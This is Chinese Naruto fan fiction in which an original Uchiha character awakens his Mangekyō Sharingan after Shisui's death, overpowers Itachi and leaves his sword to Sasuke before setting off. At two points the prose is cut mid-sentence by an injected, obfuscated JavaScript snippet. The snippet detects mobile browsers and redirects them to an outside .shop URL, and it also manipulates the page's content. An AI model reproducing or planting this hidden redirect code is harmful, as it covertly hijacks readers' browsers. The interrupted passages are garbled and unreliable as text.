然后他的儿子被全村人当成妖狐。没有人愿意和那个孩子玩。大人告诫自己的孩子不要靠近他。根部的忍者躲在树上围观,等着他被打到极限,好出来扮演救命恩人,为的就是能控制住人柱力,同时试探对方忍耐力的上限。 当然,这也可以说是为了保护他。四代的仇人太多,隐藏鸣人的身份才是对鸣人的安全负责。 羽怀的嘴角动了动,没有笑出来。 其实他们宇智波一族完全可以把那孩子接过来养的。 美琴阿姨和玖辛奈阿姨是闺蜜,她不会介意多养一个儿子。宇智波家大业大,不缺那孩子一口饭吃。更何况宇智波的写轮眼能控制尾兽,让宇智波养九尾,难道不是对木叶最安全的方案吗? 但这种话只能想想。 因为高层不信任宇智波。他们宁愿让四代的儿子被全村人欺负,也不愿意让宇智波碰他一根手指。 归根结底,是因为四代夫妇死了。 死了的人不会说话,不会争辩,不会要求什么。他们的遗愿可以被任意解读,他们的牺牲可以被用来掩盖任何算计。活着的人只会为他们哭一场,然后继续过自己的日子。 死了的人,没有活着的人重要。 羽怀的手指收紧了。 止水也一样。 团藏会做得很干净。他不会留下任何证据证明止水是他杀的。 三代查不出证据,自来也也查不出证据。 没有证据,就不能用正常的手段让团藏去死。甚至都不能用这件事为理由将团藏关进木叶监狱,毕竟这件事影响太过恶劣,可能会动摇火之意志。 那就只能压下去。 三代会把富岳叫去火影大楼,用那种疲惫而诚恳的语气说:止水的牺牲我们都很难过,但村子需要稳定,宇智波也需要稳定。我们得给族人一个交代,一个能让他们接受的交代。 富岳会沉默很久,然后他会点头。因为他是族长,他必须为宇智波一族考虑。 然后就是利益交换。 羽怀能想到那个交换是什么。 宇智波一族重回木叶的政治中心,甚至有机会坐一坐火影的位置。 让宇智波出一位火影,这是他们一族从建村开始就在渴望的东西。千手柱间答应过,但没做到。千手扉间更不可能给。三代在位几十年,宇智波依然只能窝在警务部里,做一些得罪人的事情。 就在九尾之乱后这部分权力也被收走了,理由是因为所有族人都被搬迁到木叶边缘,离木叶中心太远,执法不方便。 但如果止水死了,虽然明面上他可能是死于某个毫不相关的高危任务,但木叶高层绝对知道他的付出,他们绝对会补偿。 而最合适的补偿,就是这个。 让宇智波的年轻一代成为火影。 这就是能让所有活人都能满意的条件。 止水死了,但他的牺牲换来了宇智波梦寐以求的东西。激进派会满意,因为终于有了火影。保守派会更保守,因为火影都有了还闹什么。村子会满意,因为宇智波终于被安抚了。三代也会满意,他早就不想当火影了,这个位置要考虑的事情太多。 所有人都满意了。 除了止水自己…… 羽怀的呼吸停了一瞬。 甚至止水自己。 止水那个人,一直就是这样,总想着怎么让所有人满意。族人和村子,他哪一个都不想放弃。如果能用自己的命换来这两者的和平,他会觉得…… 他会觉得值得。 羽怀的手攥紧了手中的刀柄。 他和鼬真的都是一个德性,自顾自的安排好了一切。什么都没和他说。 羽怀的眼眶开始发疼。 那股疼从深处涌上来,尖锐而沉重,像是有什么东西要从里面破出来。但他没有闭眼。他只是看着月光,看着月光下院子里那棵老枫树的影子和那些在眼前逐渐扭曲的光线。 他不接受。 他不接受这种“完美”的结局。 不接受止水变成燃料。 不接受用止水的命换来的火影之位。 不接受所有人都满意唯独止水不在了的和平。 三颗勾玉在眼眶里旋转。越转越快,越转越快,快得像三团黑色的线条在瞳孔里拉伸。它们开始连接,融合,最后形成某种图案。 一柄由刀刃组成的风车的形状。 它浮现在瞳孔深处,在月光下闪着幽光。 这是属于他的万花筒写轮眼。 羽怀感觉到温热的液体从眼眶滑下来,沿着脸颊的弧度, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314869|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在衣领上。 他用衣袖抹了一把脸,随即便看到上面红色的血渍。 下一刻,他用力的闭上眼睛,再次睁眼时,眼底的黑色图案已经消失,变成正常的颜色,仿佛什么都没发生。 “你受伤了?” 卡卡西关切的声音传来,他并没有发现周围有什么异常。 羽怀低下头,看着自己的手。那只手刚才攥着刀柄,现在则是带上了一些血渍。 他的指尖还在微微发抖,不知道是因为疼痛,还是因为别的什么。 “我没事。” 卡卡西看着他,眼神里透露出担忧。 “我之前看到鼬回族地了,怎么没看到他?” 卡卡西试图寻找一个轻松点的话题。 “别提他了,他刚惹我生气了,我把他打昏了扔里面了,你别告诉别人。” 羽怀伸手指了指房门内。 “……哇。” 卡卡西不知道该怎么回,只能表示一下惊叹。你们宇智波一族的兄弟情他还真有些搞不懂。 但就在这时,一道黑影从院墙外翻进来,落在两人面前。 来人脸上带着面具,是暗部。 “队长,火影大人急召。” 卡卡西的眉头动了动。 “现在?” “现在。”暗部顿了顿。 卡卡西沉默了。 他的目光落在羽怀身上,那张小脸现在和个小花猫似的,有些脏兮兮的,但那双眼睛仍旧是一副漆黑但明亮的样子。 不过他的感知告诉他,现在似乎不太适合离开。 虽然表面上看不出什么,但他感觉现在的羽怀其实很脆弱,需要一些陪伴和安慰。 要是带土还在就好了,他一定很擅长这个。 他应该陪这个孩子一会儿,或者等自来也过来。 “队长?” 暗部的声音传来,让卡卡西从走神中恢复。 “我现在属于下班时间,所以……” 但他的话还没说完,那名暗部便凑到他的耳边低声耳语了几句。 “九尾人柱力失踪了……” 卡卡西的瞳孔猛地收缩了一下。 他没想到是这么严重的事情。 九尾人柱力的事情,比任何事情都紧急。 而鸣人除了是九尾人柱力之外,也是他老师波风水门唯一的孩子,所以鸣人的事他必须去。 “羽怀。”卡卡西开口了,声音放得很轻,“在这里等我一下,我去给你和鼬买些宵夜。” 羽怀没有点头,也没有摇头。 卡卡西等了两秒,见他不说话,叹了口气。 “不说话就是默认了?”他从怀里掏出一个小本本,借着月光翻了翻,“想吃什么?三色团子?烤肉?还是拉面?” 羽怀瞥了一眼那本子,看见上面密密麻麻写着字。 “这是什么?” “任务日志。”卡卡西一本正经地说,“记录每个队友的口味偏好。带土喜欢红豆糕,琳喜欢清淡的,水门老师什么都行但最讨厌挑食和浪费粮食,自来也大人喜欢喝酒但我不敢给他买,你的话……上次止水跟我说,你喜欢三色团子,但你嘴硬不肯承认。” 羽怀僵住了。 “……止水跟你说这个干什么?” “他说,”卡卡西合上本子,模仿止水的语气,“‘卡卡西前辈,羽怀那孩子嘴硬心软,你多带他吃几次三色团子,他就把你当自己人了。’” 羽怀沉默了。 月光照在他脸上,照不出表情。 但他的手,悄悄攥紧了衣角。 卡卡西把本子收回去,拍了拍他的肩。 “三色团子,对吧?我去买。” 他转身要走。 身后传来羽怀的声音,很轻,轻得像蚊子哼。 “……要两份,都给鼬吃。” 卡卡西没回头,但那只独眼又弯成了月牙。 “知道了。” 卡卡西看着他,又补充了一句: “如果我回不来,我会和自来也说一声,他会过来。你哪儿都别去,多陪陪鼬。” 他说完,转身跟着那名暗部离开。 两道身影翻出院墙,消失在夜色里。 院子里又安静下来。 只有月光,只有夜风,只有那棵老枫树的叶子沙沙作响。 羽怀站在原地,站了很久。 久到脸上的血痕干了,手指不再发抖。此时他终于能控制住眼眶里那股钻心的疼痛。 然后他转过身。 他走向止水家的卧室,推开门。 鼬还躺在那里,呼吸平稳了一些,但眉头依然紧锁。 羽怀在床边站定,低头看着鼬。 月光照在鼬脸上,照出那两道血痕和紧皱的眉头。 羽怀本来应该很悲伤的。 但他看着鼬这张脸,脑子里突然冒出一个念头: 鼬这家伙,睡着了还皱着眉,怕不是很快就要变成富岳族长那个样子了。 止水以前怎么说来着? “鼬啊,什么都好,就是太老成了。明明才十二岁,整天绷着脸,不知道的还以为他四十了。” 当时鼬怎么回的? “止水哥,你话太多了。” 然后止水就笑着揉他的头,把头发揉成鸡窝。 鼬也不躲,就那么站着,任由止水揉。 其实他也挺享受的吧? 羽怀想起有一次,自己也想揉鼬的头,刚伸手,鼬就躲开了,还一本正经地说“羽怀,我是你哥哥”。 切。 双标。 止水揉就行,我揉就不行? 羽怀想到这里,嘴角撇了一下。 鼬的眉头紧皱着,眼皮不断颤动,像是在做噩梦。 睡个觉都这么累,也不知道在梦里想什么。 真是的。 你就不能像佐助那样,睡得跟个小猪似的,怎么叫都醒不了吗? 羽怀轻轻叹了口气。 然后他弯下腰,把被子往上拉了拉,盖住鼬的肩膀。 动作很轻,就像他给佐助盖被子一样。 “抱歉,哥哥,一直以来给你们添麻烦了。” 他的声音很轻,仿佛害怕将鼬吵醒一般。 他之后要做的事情不能让家里人知道,这样对大家都好。 他掏出属于自己的木叶护额,将苦无抵在了木叶图案的边缘。 苦无与金属护额的摩擦声传来,一道清晰的划痕横向穿过木叶的图案。 他划得很认真,控制苦无的手很稳,所以这道划痕是完全水平的,连深度都完全一致。 今天佐助说要一把忍刀作为礼物,但等铁之国的匠人肯定是没时间了。 羽怀深吸一口气,将手中的苦无和护额收起。 他扭头看了看陪着自己三年的忍刀,最后,缓缓的吐出了一口气,将它从背上解下,放在了鼬的身边。 这是鼬送他的刀。 七岁生日那天,鼬把刀交到他手里,和他说:“这是给你的礼物,从铁之国专门定做的。” 那时候他还挺矮的,哪怕这把刀并不长,别在腰上,刀尖也会拖地了。 鼬看着他,面无表情地说:“等你长高了就不拖地了。” 他当时气鼓鼓地回了一句:“我肯定会长得比你高!” 现在他十岁,鼬十二岁。 但鼬不知道在外面吃了什么,长得快和止水一样高了,根本看不出才十二岁。 啧,真是越想越气。 羽怀把刀放在鼬身边,和鼬并排躺着。 刀鞘在月光下泛着温润的光泽。 羽怀看着那把刀,低声说道:“你也跟了我三年了,砍了不少人,救过我不少次。现在把你留给佐助,你好好干,别丢我的脸。” 刀当然不会回答。 但他还是觉得刀应该听懂了。 他想了想,又补了一句:“佐助那小子虽然嘴硬,但心软。你跟着他,他不会亏待你的。” 顿了顿。 “比他哥强。” 说完他站起身,准备走。 然而下一刻,一只手不知何时握住了他的手腕。 羽怀定睛一看,床上的鼬不知何时竟然睁开了眼睛。 11.第 11 章 宇智波鼬睁开眼睛的时候,首先映入眼帘的是熟悉的天花板。 这是止水家的天花板。 他躺在榻榻米上,身上盖着薄被。此时暗部的制服还穿在他的身上,但面具不知被摘到哪里去了。 月光从纸门的缝隙漏进来,在地板上切出一道细长的白线。 他的视线略微侧移,就看见了旁边的羽怀。 他的弟弟站在床边,手里正攥着什么,此时正低头看着他。 那双乌黑的眼睛在黑暗中有些明亮,但鼬能看到那眼眶周围已经干涸的血痕,以及脸上脏兮兮的血迹。 他的瞳孔微微收缩。 羽怀受伤了? “你醒了?” 羽怀的声音响起,带着一丝不易察觉的僵硬。他飞快地把手里的东西往身后藏了藏,动作快得像做贼。 鼬没有说话。 他只是看着羽怀,看着他的脸和那双眼睛。那双眼睛里现在只有正常的黑色,但那些血痕着实让他有些担心。 他的嘴唇动了动。 他想问“你受伤了?”,但话到嘴边,变成了: “……你晚饭吃了吗?” 羽怀明显愣住。 过了两秒。 “吃了。真的。” 鼬:“……” “你什么时候醒的?”羽怀又开口问道,声音更僵硬了,“刚才……刚才的那些话,你听到了?” “啊?” 鼬不知道羽怀在说什么,他真的刚刚才醒。 最重要的是,他之前昏过去了,所以还没想好该怎么和羽怀说止水的事。 所以他现在不知道该怎么回答。 止水死了。 被团藏夺走一只写轮眼后跳崖自尽了。 他不知道该怎么说这些事,该怎么说才能让羽怀在得知这个消息后冷静下来。 一切的话语最终都堵在喉咙里,像一块浸了水的面团,沉甸甸的,怎么也吐不出来。 最后他只是动了动嘴唇,吐出四个字: “好久不见。” 话说出口,连他自己都觉得奇怪。 他虽然平时话也不多,但也不是一个孤僻的人。 但现在,一个月不见的弟弟站在他面前,脸上带着刚干涸的血痕,而他却只能说出“好久不见”。 羽怀又愣了一下。 然后他笑了。 “欢迎回来。” 这是家人回家时能听到的最常见的问候,一般他做完任务回来,佐助都会这么和他说。如果妈妈在家的话,也会这么说。 宇智波鼬的神情放松下来,但羽怀的下一句话就让他的神经重新紧张起来。 “止水哥呢?” 羽怀顿了顿,他的目光落在了鼬脸上。 “还有,你为什么把自己搞成这样?” 鼬没有说话。 “止水呢?”羽怀继续问,原本上扬的语调回落,变得平静,“他在哪里?” 鼬的呼吸停了一瞬。 他垂下眼睑,避开羽怀的视线。 “止水……”他开口,声音干涩得像在摩擦砂纸,“接到临时任务出去了。” 他撒谎了。 当然,他们兄弟间经常撒些小谎,比如羽怀偷偷把便当送给被人吃了,然后骗他说已经吃完了之类的。 不过,从小到大,大多数时间都是弟弟在对哥哥撒谎。 作为兄长,他觉得自己没什么需要隐瞒的。 但这次显然并不一样。 羽怀没有说话。 鼬能感觉到那道目光落在自己脸上,带着某种穿透性的力量,像是要把他所有的伪装都撕开。 几秒后,羽怀动了。 他突然俯下身,将脸凑到鼬面前,近得几乎要贴到一起一样。那双乌黑的眼睛直直地盯着鼬,锋利得能刺破一切谎言。 “哥哥撒谎。” 羽怀的声音很轻,轻得像一根针,却能精准地刺进鼬的心脏。 鼬没有动。 他只是回视着羽怀,用那双同样乌黑的眼睛。他的脸上没有任何表情,只有一种空洞的平静。 “三代已经把你们的计划都告诉我了。”羽怀说,声音依然很轻,“止水不可能现在还在出任务。他的任务就是来族会调解矛盾。” 鼬沉默着。 他的心里有什么东西轻轻落了下去。 一切的侥幸心理在此刻烟消云散,但他还想挣扎一下。 可能他自己也需要一些时间接受一下止水死亡这个事实。 目前,三代已经将情况告诉羽怀了。 这意味着,羽怀知道止水参与了调解计划,知道止水是为了村子和族人奔走。但他不知道止水已经…… “止水没事。”鼬开口,声音平稳得连他自己都觉得意外,“他只是……暂时离开一下。” 羽怀看着他。 那双眼睛太亮了,亮得让鼬不敢直视。 “你知道是团藏害死了止水吗?” 羽怀的声音很轻,轻得像一片落在水面上的叶子,却让鼬整个人僵住了。 他的脸白了一下。 月光照在他脸上,照出那瞬间凝固的表情。 他知道。 羽怀知道。 “你……”鼬开口,声音有些抖,“谁告诉你的?” “大蛇丸。”羽怀说。 鼬的瞳孔猛地收缩。 “他来找过我。”羽怀继续说着,语气平静得像在讲述别人的故事,“在回来的路上。他说止水死了,死在团藏手上。他说团藏夺走了止水的一只眼睛。” “我很生气,觉得他在诅咒你们,就把他砍了。” 他顿了顿。 “我并不信他。但你的样子,让我有些怀疑了。” 鼬闭上眼睛。 他感觉自己的心脏在剧烈跳动,每一下都像被什么东西重击。他想说“大蛇丸在骗你”,“止水真的只是出任务了”。 但他自己都觉得这些话太苍白了,所以最终,他什么都说不出来。 羽怀说的是真的。 而现在,他最担心的事情还是发生了,羽怀知道了真相,知道了止水是被团藏杀的,他……可能会做出不理智的事情。 他不能让羽怀去报仇。 那不是止水想要的。 鼬睁开眼睛,艰难地从怀里掏出一样东西。 那是一封信。信纸折得很整齐,边缘有些褶皱,是他一路上紧紧攥着造成的。上面沾着一点暗红色的痕迹,是止水的血。 “羽怀,这是止水留给你的。”他说,并将信递给羽怀。 羽怀接过信。 他没有立刻打开,只是低头看着那封信,打量着那些暗红色的血迹。月光落在信纸上,将那些血迹照得发亮。 这与其说是信,其实就是一张折叠起来的纸片而已。 鼬看着羽怀读信。月光下,羽怀的脸很平静,平静得像一潭死水。只有那双眼睛在微微颤动,眼眶周围那些干涸的血痕被月光照得愈发明显。 “羽怀。”鼬开口,声音很轻,“这是止水的意思。” 羽怀没有回应。 “他不会想要你这么做的。”鼬继续说,声音有些干涩,“这是止水的意志,为了村子和族人献出生命,为了和平牺牲自己……” 羽怀的手指动了动。 但他依然没有说话。 “佐助还小。”鼬说,“我们不能……” 羽怀终于抬起了头。 他看着鼬,那双眼睛里没有泪,没有愤怒,只有一种深不见底的黑。月光照进那双眼睛里,照不出任何东西。 “哥,你闭嘴。” 然后他低下头,继续看信。 鼬愣了愣,最终没有再说话。 他只是看着羽怀,看着那张在月光下过于平静的脸。他在等,等羽怀读完信,理解止水的用心,然后答应他。 止水的信内容不多,一张纸片上的几句话罢了,一眼就能扫完。 但羽怀看了挺久。 “羽怀,如果你看到这封信,说明我死了。但别难过,因为我肯定是笑着死的(毕竟终于不用给鼬收拾烂摊子了)。” 羽怀的嘴角抽了一下。 他继续往下看: “开玩笑的。但后面的话我是认真的。你要听话,别做傻事,好好照顾鼬和佐助。还有,记得帮我喂猫,如果那只猫还愿意吃猫粮的话,它最近有点挑食。” “对了,帮我告诉鼬,他那张脸再绷下去,迟早会变成第二个富岳族长。还有,让他少看点火之意志,多看看弟弟。” “最后,如果可能的话,替我多吃一碗一乐的叉烧拉面。我请客。” 羽怀盯着最后那行字,盯了两秒。 人都死了,怎么请客? 他反复看了几遍,确定没有别的内容后,目光才从纸上移开。 他在在月光下站了几秒,在鼬有些期待的目光下,他的手指微微发力。 “嘶啦——” 信纸被撕成两半。 “嘶啦——” 又是两半。 “嘶啦——嘶啦——” 碎片从他指间落下,像一只只折断翅膀的白色蝴蝶,飘飘扬扬地落在榻榻米上,落在月光里。 鼬的身体僵住了。 羽怀抬起头,看着他。 “宇智波鼬。”羽怀开口了,他的声音很平静,“在你心里,什么才是第一位的?” 鼬没有说话。 他不知道该怎么回答。 “你不用回答。”羽怀说,“我先说我的。” 他顿了顿,月光落在他的脸上,照出那双眼睛里终于浮现的东西。 没有愤怒。 没有悲伤。 只是剩下了一股坚定的信念。 “至少对我来说,这个答案不是村子。” 他的声音很轻,轻得像一阵风,却重重地砸在鼬的心上。 “止水说过。”羽怀继续说着,“如果为了和平就可以牺牲某个或者某些人的生命,那么这样的和平一定不是真正的和平。只是强者对弱者的压迫罢了。” 鼬的手指收紧了。 他想反驳。火之意志本来就有讲自我奉献和自我牺牲,止水的行为毫无疑问践行了这一点,他是真正的英雄,和四代火影一样。 但最终他什么都说不出来。 因为在他的心里,似乎也藏着一些微妙的想法。 如果不是止水的遗言,他可能也会去找团藏复仇。 鼬闭上眼睛。 他能感觉到自己的心脏在剧烈跳动,每一次跳动都带着尖锐的疼痛。他想起了止水站在悬崖边的背影,想起了止水落入南贺川的瞬间,想起了止水说的“以后的路,就靠你们了”。 他不能让羽怀去报仇。 不是因为村子,不是因为大局,而是因为…… 他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323279|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能再失去任何一个弟弟了。 鼬睁开眼睛。 他的眼睛已经变成了红色。三颗勾玉在眼眶里缓缓旋转,速度越来越快,最后粘连在一起,形成一个诡异的图案。 万花筒写轮眼。 “羽怀。”他开口,声音很轻,“原谅我。” 瞳术发动。 月读。 周围的场景开始扭曲。月光、纸门、榻榻米,一切都像水波一样晃动。 这是鼬的万花筒能力,能将与之对视的敌人拉入精神空间,在这个空间中的一切全部由鼬掌控,中术之人几乎没有破解的办法。 然而下一刻,一道刀光亮起。 鼬还没反应过来,就感觉到一股巨大的冲击力从灵魂深处涌来。那道刀光像是一轮坠落的明月,带着某种无法抗拒的力量,从他的月读空间内部斩出,一刀斩碎了整个幻术世界。 “咔嚓——” 像玻璃碎裂的声音。 月读空间崩塌了。 反噬的力量如潮水般涌回,冲击着鼬的精神。他的身体猛地一震,脸色在一瞬间变得惨白,嘴角溢出一丝血迹。 他抬起头,看见羽怀站在月光下。 那双眼睛里,浮现着同样的图案。 刀刃组成的风车,在那双眸子里缓缓旋转。 “宇智波鼬。” 羽怀的声音响起,带着从未有过的冰冷。 “你就比我大两岁,真把自己当哥哥了?” 他走近一步,居高临下地看着榻榻米上的鼬。 “真以为我打不过你?” 鼬没有说话。 他只是看着羽怀,看着那双万花筒写轮眼,看着那柄由刀刃组成的风车图案。 羽怀也有万花筒。 什么时候开的?刚才?还是更早? 是因为……止水吗? 他想起羽怀脸上那些干涸的血痕,想起那双眼睛里深不见底的黑。那些都是开眼的迹象,他早就应该注意到的。 鼬的嘴唇动了动,想说什么。 但他什么都说不出来。 反噬的力量太强了。他的精神像被撕裂了一样,每一次呼吸都带着尖锐的疼痛。他的视线开始模糊,月光在眼前晃动,羽怀的脸也变得朦胧。 然后他感觉到有一双手扶住了他。 很稳,也很轻。 “哥……” 羽怀的声音在耳边响起,但鼬已经听不清了。他只感觉到自己的身体被托起来,靠在一个温暖的肩膀上。那双手托着他的膝弯,将他整个人背了起来。 是小时候的姿势。 那时候羽怀才刚到他们家,妈妈又刚怀上佐助,父亲又比较忙,他只能自己带着弟弟玩。 每次走累了羽怀就会缠着要他背。他会把羽怀背起来,走过木叶的街道,走过族地的石板路,走过那些漫长而平凡的岁月。 现在换成了羽怀背他。 鼬的意识在逐渐消散。他感觉到羽怀在往前走,每一步都很稳。夜风吹过来,带着深秋的凉意,吹动他的发丝。 对不起…… 鼬的嘴唇嗫嚅着,想要发出声音。 但他已经说不出话了。 意识像退潮的海水一样,一点一点地消退。他感觉到自己在下沉,沉入一片无边无际的黑暗。那片黑暗很冷,冷得刺骨,冷得像南贺川的河水。 就在他即将沉入最深处的瞬间,一个声音从很远的地方传来。 很轻。 像是从梦里传来的呢喃。 “抱歉,哥哥。” 那是羽怀的声音。 “不会有下次了。” 鼬想要回应,但他的意识已经彻底沉入了黑暗。 他什么都做不了了。 月光照在止水家外的石板路上,照出那个背着哥哥缓缓前行的少年。 羽怀背着鼬,一步一步往前走。 鼬的呼吸很轻,几乎感觉不到。他的头靠在羽怀肩上,黑色的碎发蹭着羽怀的脖颈,带来一阵阵轻微的痒意。 羽怀没有回头。 他只是背着鼬,朝着族长宅的方向走去。 真是不让人省心,就像佐助那样乖乖睡过去不就什么事都没有了吗? 早知道当初就不该听鼬的,将他带到止水宅,现在还得背回去。 羽怀在心里碎碎念着。 走了几步,他突然意识到一件事。 鼬比他想象的重。 平时看着挺瘦,怎么背起来这么沉? 他默默调整了一下姿势。 吃什么长大的? 难道火影大人在暗部的食堂里加料了,否则鼬怎么会长得这么快。 就暗部那饥一顿饱一顿的工作时间,真的能长肉吗? 他又想起止水和他讲过的暗部食堂的传闻,据说那里的饭菜以“能吃就行”为标准,味道全靠忍者们自己带调味料。 算了,回头让妈妈多做点好吃的。 不过这话要是让鼬听见,他大概会说“不用麻烦”之类的话。 啧,嘴硬。 羽怀轻轻叹了口气。 月光照在他脸上,照出那双万花筒写轮眼已经恢复成普通的黑色。他的左眼还在隐隐作痛,视线的边缘有一点模糊。但他没有在意。 他只是背着鼬,一步一步往前走。 夜风吹过,带起几片落叶,在月光下打着旋儿。 远处,族长宅的灯光隐约可见。 12.第 12 章 羽怀背着鼬站在门外。鼬的呼吸很轻,轻得几乎听不见,只有偶尔的呼吸声证明他还活着。 他腾出一只手,敲门。 “咚咚。” 没有人应。 羽怀等了几秒,又敲了两下。 门内传来脚步声,很沉稳,应该是成年人。门被拉开,门后露出宇智波富岳的身影。 看来三代那边的谈判已经结束了。 富岳的脸在看到两人的瞬间,微微僵了一下。 很短暂,短暂得几乎察觉不到。但羽怀看见了。 富岳的目光从他的脸上扫过,落在他背上的鼬身上。在那两道干涸的血痕上停了一瞬后,又移回他的脸上,最后在那张有些脏兮兮的小脸上顿住。 然后那张脸恢复了平静。 “进来吧。”富岳说,侧身让开门口。 玄关的灯光照在羽怀的脸上,照出那些干涸的血痕,以及眼眶周围暗红色的印记。他能感觉到富岳的目光落在自己背上,像两片薄薄的刀片,带着审视的重量。 羽怀跨过门槛。然而就在他抬脚的瞬间,鼬的脚拖在地上,结结实实地绊了一下门槛。 羽怀一个没站稳,带着鼬一同栽向了地板。 富岳下意识伸手,想要扶住了两人。 但羽怀也是一名强大的忍者,很快便调整好了重心稳住了身形。富岳的手就那么放在他的身前,并没有碰到他。 两人对视。 场面一度十分尴尬。 富岳若无其事地收回手,面无表情地说:“……先把他放回房间。” 羽怀点了点头,背着鼬往里走。他不敢回头看父亲的表情,因为他怕自己笑出来。 都喜欢演是吧,那我也演。 “鼬就先交给美琴照顾,我之后会去请族里的医疗忍者。”富岳说,“待会我有事情找你,你再下来一趟。” 羽怀点了点头。 他没有抬头去看客厅。但余光里,他看见了客厅的情景。 客厅里有几个人影,都是族里的长老。他们坐在榻榻米上,面前的茶杯已经凉了,没有人动过。每个人的脸上都带着一种凝重的神色,像是刚经历过一场漫长而激烈的争吵。 有人抬起头,看向玄关这边。 那目光也落在羽怀的背上,落在他背上的鼬身上。 然后那人的嘴唇动了动,像是想说什么,但最终什么都没说,只是将头扭了回去。 羽怀没有停留。 他背着鼬,穿过走廊,上楼,走进鼬的房间。 房间里很暗,月光从窗户照进来,显得格外明显。羽怀把鼬放在床上,想再次替他脱掉鞋子,却发现他的鞋子似乎是落在止水宅里了。 无奈地摇了摇头,羽怀拉过被子盖在了鼬的身上。 虽然鼬这家伙看上去身材挺单薄的,但背起来才发现,他的体重不算轻。 这一般也是体术强者的特征,身体密度高,打人更疼,也更抗揍。 鼬的呼吸很浅,眉头紧锁,像是在做噩梦。 羽怀站在床边,低头看他。 他没有什么想说的了,就这么看一会就好。 他这次离开大概是不会回来了。 杀团藏的风险很高,与大蛇丸或者其他什么势力合作的风险也很高。 他不会用宇智波一族的身份,也不会用木叶忍者的身份。既然是止水的意志,他也没必要刻意去破坏。 他正要把被子掖好,鼬突然伸手,抓住了他的袖子。 羽怀低头。 鼬闭着眼,眉头锁得更紧,嘴里含糊地嘟囔着什么。羽怀凑近去听。 “……羽怀……别去……团藏……危险……” 羽怀沉默了两秒。 你都这样了还操心我? 他试图抽出袖子。鼬抓得更紧。 羽怀无奈:“……松手。” 鼬没反应。 羽怀用力抽了抽。……这家伙昏迷了手劲还这么大? 最后,他只能连袖子带人一起放下,保持一个别扭的姿势站在床边。 几秒后,鼬的手终于松开了。 这衣服可不能给你,外面冷,我可不想在找团藏的路上冻死。 身后传来脚步声,很轻。 羽怀转过头,看见宇智波美琴站在门口。她的手里捏着一块手帕,眼神依旧是那样,温柔中带着疲惫。 她没有说话。只是走过来,在羽怀面前站定。 “回来了?” “没……呜” 还没等羽怀回话,美琴手中的手帕就已经盖在了他的脸上。 美琴并不想听他的回答,只是用手帕轻轻擦拭他的脸。 那动作很轻,轻得像一片羽毛落在水面上。手帕的布料柔软而温暖,带着皂角的香气。她先是擦过他额头上的污渍,然后脸颊上的血迹,最后则是眼眶周围那些干涸的暗红色痕迹。 羽怀站着没动。 他能感觉到那块手帕在脸上移动,手帕被温水浸染过,带着舒适的温度。 他只是站在那里,任由美琴替他擦干净脸上的污渍。月光从窗户照进来,落在两人之间,他能看到美琴眼角的细纹,还有她眼底深处的心疼。 “饿不饿?”美琴问,声音很轻,“厨房还有吃的。” 羽怀摇了摇头。 美琴没有勉强。她收起手帕,目光在羽怀脸上停留了几秒。那双眼睛和佐助一样乌黑,和鼬一样沉静,此刻正看着他,像是想说什么,又像是已经什么都说了。 最后她只是轻声说:“早点休息。” 然后她继续往前走,来到了鼬的身边。 而羽怀则是走出了鼬的房间,穿过走廊,走到佐助的房门前。他轻轻推开门,走进去。 佐助躺在床上,准确地说,是躺在被子里装睡。 证据就是他的睫毛。 那双睫毛抖得厉害,明细不是睡着的人能有的频率。 羽怀在床边站定,低头看着他。 他不说话。 佐助的睫毛抖得更厉害了。 羽怀还是不说话。 佐助忍不住了。他睁开一只眼,用那只眼睛瞪着羽怀:“你盯着我干什么?” 羽怀:“你不是睡了吗?” 佐助立刻把那只眼闭上:“睡了。” 羽怀没戳穿他。他的目光从佐助的额头滑到鼻尖,从鼻尖滑到嘴唇,从嘴唇滑到那双攥着被角的小手。那双小手白白嫩嫩的,指甲修剪得很整齐,指节上还有几个小小的窝。 羽怀伸出手,从背后解下自己的刀。 那是鼬送他的刀。在他七岁生日那天,鼬把这把刀交到他手里,说这是给他的礼物,是从铁之国专门找人定做的。 他用这把刀砍过很多敌人,也用这把刀保护过很多同伴。这把刀陪了他三年,刀刃上有一道道细小的缺口,都是战斗留下的痕迹。 他把刀放在佐助枕边。 月光落在刀鞘上,照出上面精细的纹理。佐助的小手就放在旁边,距离那把刀不到一寸。 “给你的。”羽怀说。 佐助睁开眼,盯着那把刀。他的眼睛亮了一下,但嘴上说的是:“这不是你的刀吗?” “现在是你了。” 佐助沉默了两秒。然后他撇了撇嘴:“……我才不要二手货。” 羽怀伸手去拿刀:“那我拿走。” “我说了不要吗?”佐助一把按住刀,动作快得像抢食的忍猫。 羽怀的嘴角动了动。 “好好用。”他说。 他转身,准备离开。 身后传来佐助的声音,小得像幼猫的轻哼:“……谢谢。” 羽怀没回头,但嘴角弯了一下。 他走出房间,轻轻拉上门。 走廊里很暗。月光从窗户漏进来,在地板上画出一道道模糊的轮廓。羽怀沿着走廊往回走,脚步声很轻,轻得几乎听不见。 他下楼,走向玄关。 客厅里的灯还亮着。那些长老已经走了,只剩下宇智波富岳一个人坐在榻榻米上。他的面前放着几个茶杯,都是凉的,而且都还是满的。 富岳抬起头,看向羽怀。 “坐。”他说。 羽怀在对面坐下。两人之间隔着一张矮桌,桌上放着凉透的茶。月光从窗户照进来,落在矮桌上,将茶杯的影子拉得很长。 沉默持续了几秒。 